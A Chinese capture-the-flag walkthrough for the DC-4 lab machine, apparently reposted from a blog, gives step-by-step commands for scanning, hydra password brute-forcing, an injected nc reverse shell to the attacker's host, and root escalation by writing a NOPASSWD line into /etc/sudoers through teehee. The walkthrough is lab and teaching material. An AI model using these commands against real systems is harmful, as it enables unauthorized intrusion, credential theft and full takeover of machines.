目录

靶机:DC-4

一、信息收集

1、主机发现

复制代码
nmap 192.168.236.0/24

2、端口扫描

复制代码
nmap 192.168.236.175 -p- -A

3、目录扫描

复制代码
dirb http://192.168.236.175

二、漏洞探测

访问80端口,发现登录页面

尝试爆破密码

复制代码
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.236.175 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

http-post-form:指定使用 HTTP POST 请求方式。
"/login.php:username=^USER^&password=^PASS^:S=logout":指定登录页面地址 /login.php,并使用 username 和 password 作为参数名来传递用户名和密码。其中 ^USER^ 和 ^PASS^ 含义为在暴力破解过程之中将要用到的用户名和密码,而 :S=logout 则是指当程序返回值为 logout 时,认为破解成功并退出程序。
-F:如果成功的话,停止猜测其他密码。

登录

复制代码
admin:happy

bp抓包,是命令执行

查看 /etc/passwd 文件

三、GetShell

反弹shell

复制代码
radio=nc+-e/bin/bash+192.168.236.137+4444&submit=Run
nc -lvvp 4444

四、提权

切换为交互式shell

复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l 看一下,不知道密码

在 jim 用户下发现密码文件

下载到本地

复制代码
python3 -m http.server
wget http://192.168.236.175:8000/old-passwords.bak

使用 hydra 破解

复制代码
hydra -L users.txt -P old-passwords.bak ssh://192.168.236.175

jim:jibril04

ssh 连接

复制代码
ssh jim@192.168.236.175

在 /var/mail 下有一封信,发现 charles 用户的密码

复制代码
charles:^xHhA&hvim0y

切换用户

查看具有 root 权限的命令

复制代码
sudo -l

teehee是个小众的linux编辑器,执行以下命令,成功提权

复制代码
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su

查看flag

本文是转载文章,点击查看原文
如有侵权,请联系 xyy@jishuzhan.net 删除
相关推荐
写代码的小王吧2 小时前
【安全】Java幂等性校验解决重复点击(6种实现方式)
java·linux·开发语言·安全·web安全·网络安全·音视频
半路_出家ren2 小时前
VRRP(虚拟路由器冗余协议)、虚拟路由器、master路由器、backup路由器
网络·网络安全·路由器·网络设备·vrrp·master路由器·backup路由器
vortex53 小时前
Bash中因数值比较引发的提权漏洞:数组注入与任意命令执行
linux·开发语言·安全·网络安全·渗透测试·bash
一口一个橘子4 小时前
[ctfshow web入门] web5
web安全·网络安全
木cooc8 小时前
[WUSTCTF2020]CV Maker1
网络安全
炫彩@之星8 小时前
mysql-getshell的几种方法
mysql·网络安全·渗透测试·getshell
写代码的小王吧10 小时前
【网络安全】安全的网络设计
网络·网络协议·tcp/ip·安全·web安全·网络安全·docker
炫彩@之星11 小时前
mysql数据库中getshell的方式总结
mysql·网络安全·渗透测试·getshell
一口一个橘子13 小时前
[ctfshow web入门] web6
web安全·网络安全
网络安全天地1 天前
使用 Flutter 制作地图应用
websocket·网络协议·tcp/ip·http·网络安全·https·udp